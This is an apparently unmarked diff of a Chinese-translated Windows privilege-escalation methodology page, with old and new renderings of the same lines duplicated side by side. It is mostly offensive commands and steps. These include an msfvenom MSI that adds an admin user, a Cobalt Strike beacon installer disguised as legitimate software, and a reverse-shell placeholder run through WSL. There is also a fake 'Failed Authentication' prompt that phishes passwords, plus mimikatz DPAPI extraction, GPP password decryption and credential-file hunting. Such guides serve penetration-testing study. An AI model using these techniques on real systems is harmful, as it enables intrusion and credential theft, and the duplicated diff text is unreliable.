Windows 中有不同的内容可能会 **阻止你枚举系统**、运行可执行文件或甚至 **检测你的活动**。你应该 **阅读** 以下 **页面****枚举** 所有这些 **防御** **机制**,然后再开始权限提升枚举:
Windows中有不同的东西可能会**阻止你枚举系统**、运行可执行文件或甚至**检测你的活动**。你应该**阅读**以下**页面**并**枚举**所有这些**防御****机制**,然后再开始权限提升枚举:
{{#ref}}
../authentication-credentials-uac-and-efs/
@ -42,7 +42,7 @@ Windows 中有不同的内容可能会 **阻止你枚举系统**、运行可执
### 版本信息枚举
检查 Windows 版本是否存在已知漏洞(也检查已应用的补丁)。
检查Windows版本是否存在已知漏洞也检查已应用的补丁
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### 版本漏洞
这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 对于搜索有关 Microsoft 安全漏洞的详细信息非常有用。这个数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**
这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 对于搜索 Microsoft 安全漏洞的详细信息非常有用。这个数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**
**在系统上**
@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
### 环境
环境变量中是否保存了任何凭据/敏感信息?
环境变量中保存了任何凭据/敏感信息
```bash
set
dir env:
@ -125,16 +125,16 @@ reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Module
```bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **脚本块日志记录**
### PowerShell **Script Block Logging**
脚本执行的完整活动和内容记录被捕获,确保每个代码块在运行时都有文档记录。此过程保留了每个活动的全面审计跟踪,对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动,提供了对该过程的详细洞察
脚本执行的完整活动和内容记录被捕获,确保每个代码块在运行时都有文档记录。此过程保留了每个活动的全面审计跟踪,对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动,提供了对该过程的详细见解
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
脚本块的日志事件可以在 Windows 事件查看器中找到,路径为:**应用程序和服务日志 > Microsoft > Windows > PowerShell > 操作**。\
记录脚本块的事件可以在 Windows 事件查看器中找到,路径为:**应用程序和服务日志 > Microsoft > Windows > PowerShell > 操作**。\
要查看最后 20 个事件,可以使用:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -167,7 +167,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
那么,**它是可利用的。** 如果最后一个注册表等于 0则 WSUS 条目将被忽略。
为了利用这些漏洞,您可以使用工具如:[Wsuxploit](https://github.com/pimps/wsuxploit)[pyWSUS ](https://github.com/GoSecure/pywsus) - 这些是 MiTM 武器化的利用脚本,用于将“假”更新注入非 SSL WSUS 流量
为了利用这些漏洞,您可以使用工具如:[Wsuxploit](https://github.com/pimps/wsuxploit)[pyWSUS ](https://github.com/GoSecure/pywsus) - 这些是 MiTM 武器化的利用脚本,用于将“假”更新注入非 SSL WSUS 流量。
在这里阅读研究:
@ -178,15 +178,15 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
[**在这里阅读完整报告**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\
基本上,这是这个漏洞利用的缺陷:
> 如果我们有权修改我们的本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量,并以提升的用户身份运行代码。
> 如果我们有权修改本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量,并以提升的用户身份在我们的资产上运行代码。
>
> 此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,它将被服务接受
> 此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,则服务将接受它
您可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)(一旦它被解放)来利用此漏洞。
## KrbRelayUp
在特定条件下Windows **域**环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行**、用户拥有自我权限允许他们配置 **基于资源的受限委派 (RBCD)**,以及用户在域内创建计算机的能力。重要的是要注意,这些 **要求****默认设置** 下满足。
在特定条件下Windows **域**环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行** 的环境,用户拥有自我权限,允许他们配置 **基于资源的受限委派 (RBCD)**,以及用户在域内创建计算机的能力。重要的是要注意,这些 **要求****默认设置** 下满足。
在 [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 中找到 **利用**
@ -194,7 +194,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
## AlwaysInstallElevated
**如果** 这 2 个注册表 **启用**(值为 **0x1**那么任何权限的用户都可以 **安装**(执行) `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。
**如果** 这 2 个注册表 **启用**(值为 **0x1**任何权限的用户都可以 **安装**(执行) `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -208,7 +208,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
### PowerUP
使用 power-up 中的 `Write-UserAddMSI` 命令在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本写出一个预编译的 MSI 安装程序,该程序提示添加用户/组(因此您需要 GIU 访问权限):
使用 power-up 中的 `Write-UserAddMSI` 命令在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本写出一个预编译的 MSI 安装程序,该安装程序提示添加用户/组(因此您需要 GIU 访问权限):
```
Write-UserAddMSI
```
@ -230,18 +230,18 @@ create-msi-with-wix.md
### 使用 Visual Studio 创建 MSI
- **使用** Cobalt Strike 或 Metasploit 生成一个 **新的 Windows EXE TCP 负载** 在 `C:\privesc\beacon.exe`
- 打开 **Visual Studio**,选择 **创建新项目**,在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**。
- 给项目命名,例如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **将解决方案和项目放在同一目录**,然后点击 **创建**。
- 一直点击 **下一步**,直到到达第 3 步(选择要包含的文件)。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。
- 在 **解决方案资源管理器**突出显示 **AlwaysPrivesc** 项目,在 **属性** 中,将 **TargetPlatform****x86** 更改为 **x64**
- 还有其他属性可以更改,例如 **作者** 和 **制造商**,这可以使安装的应用看起来更合法。
- 右键单击项目选择 **查看 > 自定义操作**
- 右键单击 **安装** 并选择 **添加自定义操作**
- 双击 **应用程序文件夹**,选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在运行安装程序时立即执行 beacon 负载。
- **生成**一个 **新的 Windows EXE TCP 负载**,使用 Cobalt Strike 或 Metasploit存放`C:\privesc\beacon.exe`
- 打开 **Visual Studio**,选择 **创建新项目**,在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **Next**。
- 给项目命名,例如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **将解决方案和项目放在同一目录**,然后点击 **Create**。
- 一直点击 **Next**,直到到达第 3 步(选择要包含的文件)。点击 **Add** 并选择您刚生成的 Beacon 负载。然后点击 **Finish**。
- 在 **解决方案资源管理器**高亮 **AlwaysPrivesc** 项目,在 **属性** 中,将 **TargetPlatform****x86** 更改为 **x64**
- 还有其他属性可以更改,例如 **Author** 和 **Manufacturer**,这可以使安装的应用看起来更合法。
- 右键单击项目选择 **查看 > 自定义操作**
- 右键单击 **Install**选择 **添加自定义操作**
- 双击 **应用程序文件夹**,选择您的 **beacon.exe** 文件并点击 **OK**。这将确保在安装程序运行时立即执行 beacon 负载。
- 在 **自定义操作属性** 下,将 **Run64Bit** 更改为 **True**
- 最后,**构建它**。
- 如果显示警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。
- 如果出现警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。
### MSI 安装
@ -261,7 +261,7 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
### WEF
Windows 事件转发,了解日志发送到哪里是很有趣的
Windows Event Forwarding了解日志发送到哪里是很有趣的。
```bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
```
@ -282,7 +282,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
```
### LSA 保护
**Windows 8.1** 开始,微软引入了对本地安全机构 (LSA) 的增强保护,以 **阻止** 不受信任的进程 **读取其内存** 或注入代码,从而进一步增强系统安全。\
**Windows 8.1** 开始,微软引入了对本地安全机构 (LSA) 的增强保护,以 **阻止** 不受信任的进程 **读取其内存** 或注入代码,从而进一步保护系统。\
[**有关 LSA 保护的更多信息**](../stealing-credentials/credentials-protections.md#lsa-protection)。
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
@ -293,10 +293,10 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### 缓存凭据
### Cached Credentials
**域凭据**由**本地安全机构**LSA进行认证并被操作系统组件使用。当用户的登录数据通过注册的安全包进行认证时通常会为该用户建立域凭据。\
[**有关缓存凭据的更多信息**](../stealing-credentials/credentials-protections.md#cached-credentials)
[**有关缓存凭据的更多信息请点击这里**](../stealing-credentials/credentials-protections.md#cached-credentials).
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### 特权组
如果你**属于某个特权组,你可能能够提升权限**。在这里了解特权组以及如何滥用它们以提升权限:
如果您**属于某个特权组,您可能能够提升权限**。在这里了解特权组及其滥用方式以提升权限:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
@ -329,8 +329,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
### 令牌操作
**了解更多**关于**令牌**的信息,请访问此页面:[**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens)。\
查看以下页面以**了解有趣的令牌**及其滥用方
**了解更多**关于**令牌**的信息,请访问此页面:[**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens)。\
查看以下页面以**了解有趣的令牌**及其滥用方
{{#ref}}
privilege-escalation-abusing-tokens.md
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
### 文件和文件夹权限
首先,列出进程 **检查进程命令行中的密码**。\
检查您是否可以 **覆盖某个正在运行的二进制文件**,或者您是否对二进制文件夹具有写权限,以利用可能的 [**DLL 劫持攻击**](dll-hijacking/):
检查您是否可以 **覆盖某个正在运行的二进制文件**,或者您是否对二进制文件夹具有写权限,以利用可能的 [**DLL 劫持攻击**](dll-hijacking/):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -391,7 +391,7 @@ todos %username%" && echo.
```
### 内存密码挖掘
您可以使用来自 sysinternals 的 **procdump** 创建正在运行的进程的内存转储。像 FTP 这样的服务在内存中 **明文形式存储凭据**,尝试转储内存并读取凭据。
您可以使用来自 sysinternals 的 **procdump** 创建正在运行的进程的内存转储。像 FTP 这样的服务在内存中 **明文形式存储凭据**,尝试转储内存并读取凭据。
```bash
procdump.exe -accepteula -ma <proc_name_tasklist>
```
@ -420,7 +420,7 @@ sc qc <service_name>
```bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
```
建议检查“认证用户”是否可以修改任何服务:
建议检查“经过身份验证的用户”是否可以修改任何服务:
```bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
如果您遇到此错误例如与SSDPSRV相关
_系统错误 1058 已发生。_\
&#xNAN;_&#x54;该服务无法启动,可能是因为它被禁用或没有启用的设备与之关联。_
&#xNAN;_&#x54;该服务无法启动,可能是因为它被禁用或没有与之关联的启用设备。_
您可以使用以下方法启用它:
```bash
@ -499,7 +499,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
```
应检查**Authenticated Users**或**NT AUTHORITY\INTERACTIVE**是否拥有`FullControl`权限。如果是,则可以更改服务执行的二进制文件。
检查 **Authenticated Users** **NT AUTHORITY\INTERACTIVE** 是否拥有 `FullControl` 权限。如果是这样,服务执行的二进制文件可以被更改
要更改执行的二进制文件的路径:
```bash
@ -515,7 +515,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### 未加引号的服务路径
如果可执行文件的路径没有用引号括起来Windows 将尝试执行每个以空格结尾的部分
如果可执行文件的路径没有用引号括起来Windows 将尝试执行每个在空格之前的结尾
例如,对于路径 _C:\Program Files\Some Folder\Service.exe_Windows 将尝试执行:
```powershell
@ -555,7 +555,7 @@ Windows 允许用户指定在服务失败时采取的操作。此功能可以配
### 已安装的应用程序
检查 **二进制文件的权限**(也许你可以覆盖一个并提升权限)和 **文件夹的权限** ([DLL Hijacking](dll-hijacking/))。
检查 **二进制文件的权限**(也许你可以覆盖一个并提升权限)和 **文件夹** ([DLL Hijacking](dll-hijacking/))。
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -594,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### 开机时运行
**检查您是否可以覆盖某些将由不同用户执行的注册表或二进制文件。**\
**阅读**以下页面以了解有关有趣的**自动运行位置以提升权限**的更多信息:
**阅读** **以下页面** 以了解有关有趣的 **自动运行位置以提升权限** 的更多信息:
{{#ref}}
privilege-escalation-with-autorun-binaries.md
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
### 驱动程序
寻找可能的**第三方奇怪/易受攻击**驱动程序
寻找可能的 **第三方奇怪/易受攻击** 驱动程序
```bash
driverquery
driverquery.exe /fo table
@ -616,7 +616,7 @@ driverquery /SI
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
有关如何滥用此检查的更多信息,请参见
有关如何滥用此检查的更多信息:
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
@ -682,7 +682,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
要轻松以 root 身份启动 bash您可以尝试 `--default-user root`
您可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统
您可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统
## Windows 凭据
@ -701,11 +701,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### 凭据管理器 / Windows Vault
来自 [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Vault 存储用户在服务器、网站和其他程序的凭据,**Windows** 可以 **自动登录用户**。乍一看,这可能看起来像是用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等,以便他们通过浏览器自动登录。但事实并非如此。
Windows Vault 存储用户在服务器、网站和其他程序的凭据,**Windows** 可以 **自动登录用户**。乍一看,这可能看起来像是用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等,以便他们通过浏览器自动登录。但事实并非如此。
Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着任何 **需要凭据来访问资源**(服务器或网站)的 **Windows 应用程序** **都可以利用这个凭据管理器** 和 Windows Vault并使用提供的凭据而不是用户一直输入用户名和密码。
Windows Vault 存储 Windows 可以自动登录用户的凭据,这意味着任何 **需要凭据来访问资源**(服务器或网站)的 **Windows 应用程序都可以使用此凭据管理器**和 Windows Vault并使用提供的凭据而不是用户每次都输入用户名和密码。
除非应用程序与凭据管理器交互,否则我认为它们不可能使用给定资源的凭据。因此,如果您的应用程序想要使用 Vault它应该以某种方式 **与凭据管理器通信并请求该资源的凭据** 从默认存储 Vault
除非应用程序与凭据管理器交互,否则我认为它们不可能使用给定资源的凭据。因此,如果您的应用程序想要使用 Vault它应该以某种方式 **与凭据管理器通信并请求该资源的凭据**,从默认存储 Vault 中获取
使用 `cmdkey` 列出机器上存储的凭据。
```bash
@ -727,18 +727,18 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
### DPAPI
**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法,主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著贡献熵。
**数据保护 API (DPAPI)** 提供了一种对称加密数据的方法,主要用于 Windows 操作系统中对非对称私钥的对称加密。此加密利用用户或系统秘密显著增加熵。
**DPAPI 通过从用户的登录秘密派生的对称密钥来启用密钥的加密**。在涉及系统加密的场景中,它利用系统的域认证秘密。
**DPAPI 通过从用户的登录秘密派生的对称密钥来实现密钥的加密**。在涉及系统加密的场景中,它利用系统的域认证秘密。
使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 代表用户的 [安全标识符](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**,通常由 64 字节的随机数据组成。(重要的是要注意,该目录的访问受到限制,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出)。
使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 代表用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与保护用户私钥的主密钥位于同一文件中**,通常由 64 字节的随机数据组成。(重要的是要注意,该目录的访问受到限制,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出)。
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
您可以使用 **mimikatz module** `dpapi::masterkey` 适当的参数 (`/pvk``/rpc`) 来解密它。
您可以使用 **mimikatz module** `dpapi::masterkey` 以及适当的参数 (`/pvk``/rpc`) 来解密它。
**受主密码保护的凭据文件** 通常位于:
由主密码保护的 **凭据文件** 通常位于:
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
您可以使用 **mimikatz module** `dpapi::cred` 和适当的 `/masterkey` 进行解密。\
您可以使用 `sekurlsa::dpapi` 模块(如果您是 root**memory****extract many DPAPI** **masterkeys**
您可以使用 `sekurlsa::dpapi` 模块(如果您是 root**memory****提取许多 DPAPI** **masterkeys**
{{#ref}}
dpapi-extracting-passwords.md
@ -754,9 +754,9 @@ dpapi-extracting-passwords.md
### PowerShell 凭据
**PowerShell 凭据** 通常用于 **scripting** 和自动化任务,以便方便地存储加密的凭据。这些凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
**PowerShell 凭据** 通常用于 **脚本** 和自动化任务,以便方便地存储加密的凭据。这些凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在同一计算机上创建它们的同一用户解密。
要从包含 PS 凭据的文件中 **decrypt** 凭据,您可以执行:
要从包含 PS 凭据的文件中 **解密** 凭据,您可以执行:
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -791,11 +791,11 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
使用 **Mimikatz** `dpapi::rdg` 模块和适当的 `/masterkey`**解密任何 .rdg 文件**\
您可以使用 Mimikatz `sekurlsa::dpapi` 模块 **从内存中提取许多 DPAPI 主密钥**
您可以使用 Mimikatz `sekurlsa::dpapi` 模块 **从内存中提取许多 DPAPI 主密钥**
### 便签
人们常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息,而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得搜索和检查。
人们常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息,而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得搜索和检查。
### AppCmd.exe
@ -803,7 +803,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录中。\
如果该文件存在,则可能已经配置了一些 **凭据** 并可以 **恢复**
此代码自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
此代码提取自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
```bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
@ -890,7 +890,7 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
if ($result) { $result }
else { Write "Not Installed." }
```
## 文件和注册表(凭据)
## 文件和注册表 (凭据)
### Putty 凭据
```bash
@ -914,9 +914,9 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
> 看起来这个技术已经不再有效。我尝试创建一些ssh密钥使用`ssh-add`添加它们并通过ssh登录到一台机器。注册表HKCU\Software\OpenSSH\Agent\Keys不存在procmon在非对称密钥认证期间没有识别到`dpapi.dll`的使用。
> 看起来这个技术已经不再有效。我尝试创建一些 ssh 密钥,使用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在procmon 在非对称密钥认证期间没有识别到 `dpapi.dll` 的使用。
### 无人值守文件
### Unattended files
```
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
@ -931,7 +931,7 @@ C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
您还可以使用 **metasploit** 搜索这些文件: _post/windows/gather/enum_unattend_
您还可以使用 **metasploit** 搜索这些文件: _post/windows/gather/enum_unattend_
示例内容:
```xml
@ -978,11 +978,11 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
之前有一个功能可以通过组策略首选项GPP在一组机器上部署自定义本地管理员帐户。然而,这种方法存在重大安全缺陷。首先,存储在 SYSVOL 中的组策略对象GPO作为 XML 文件,可以被任何域用户访问。其次,这些 GPP 中的密码使用公开文档的默认密钥通过 AES256 加密,任何经过身份验证的用户都可以解密。这构成了严重风险,因为这可能允许用户获得提升的权限。
之前有一个功能允许通过组策略首选项 (GPP) 在一组机器上部署自定义本地管理员帐户。然而,这种方法存在重大安全缺陷。首先,存储在 SYSVOL 中的组策略对象 (GPO) 作为 XML 文件,可以被任何域用户访问。其次,这些 GPP 中的密码使用公开文档的默认密钥通过 AES256 加密,任何经过身份验证的用户都可以解密。这构成了严重风险,因为这可能允许用户获得提升的权限。
为了减轻这一风险,开发了一个功能,用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后,该功能解密密码并返回一个自定义 PowerShell 对象。该对象包含有关 GPP 和文件位置的详细信息,有助于识别和修复此安全漏洞。
为了减轻这一风险,开发了一个功能,用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后,该功能解密密码并返回一个自定义 PowerShell 对象。该对象包括有关 GPP 的详细信息和文件位置,有助于识别和修复此安全漏洞。
`C:\ProgramData\Microsoft\Group Policy\history`_**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(在 W Vista 之前)_ 中搜索这些文件:
`C:\ProgramData\Microsoft\Group Policy\history`_**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (在 W Vista 之前)_ 中搜索这些文件:
- Groups.xml
- Services.xml
@ -991,7 +991,7 @@ AppData\Roaming\gcloud\access_tokens.db
- Printers.xml
- Drives.xml
**要解密 cPassword**
**要解密 cPassword:**
```bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
@ -1014,7 +1014,7 @@ C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
包含凭据的 web.config 示例
示例 web.config 文件包含凭据
```xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
@ -1052,9 +1052,9 @@ C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
```
### 请求凭据
### Ask for credentials
您可以始终**要求用户输入他的凭据或其他用户的凭据**,如果您认为他可能知道它们(请注意,**直接向客户请求** **凭据**是非常**危险**的):
您可以始终**要求用户输入他的凭据,甚至是其他用户的凭据**,如果您认为他可能知道它们(请注意,**直接向**客户端**询问** **凭据**是非常**危险**的):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1064,7 +1064,7 @@ $cred.GetNetworkCredential() | fl
```
### **可能包含凭据的文件名**
已知文件,之前包含**明文**或**Base64**的**密码**
已知一些文件曾经包含**明文**或**Base64**格式的**密码**
```bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
@ -1157,7 +1157,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### 浏览器历史
您应该检查存储**Chrome或Firefox**密码的数据库。\
还要检查浏览器的历史记录、书签和收藏夹,可能存储一些**密码**。
还要检查浏览器的历史记录、书签和收藏夹,以便可能存储一些**密码**。
从浏览器提取密码的工具:
@ -1170,7 +1170,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
**组件对象模型COM**是内置于Windows操作系统中的一种技术允许不同语言的软件组件之间进行**互通**。每个COM组件通过类IDCLSID进行**标识**每个组件通过一个或多个接口暴露功能这些接口通过接口IDIIDs进行标识。
COM类和接口在注册表中分别定义在**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**。该注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**创建的。
COM类和接口在注册表中定义,分别位于**HKEY\_**_**CLASSES\_**_**ROOT\CLSID**和**HKEY\_**_**CLASSES\_**_**ROOT\Interface**。该注册表是通过合并**HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT**创建的。
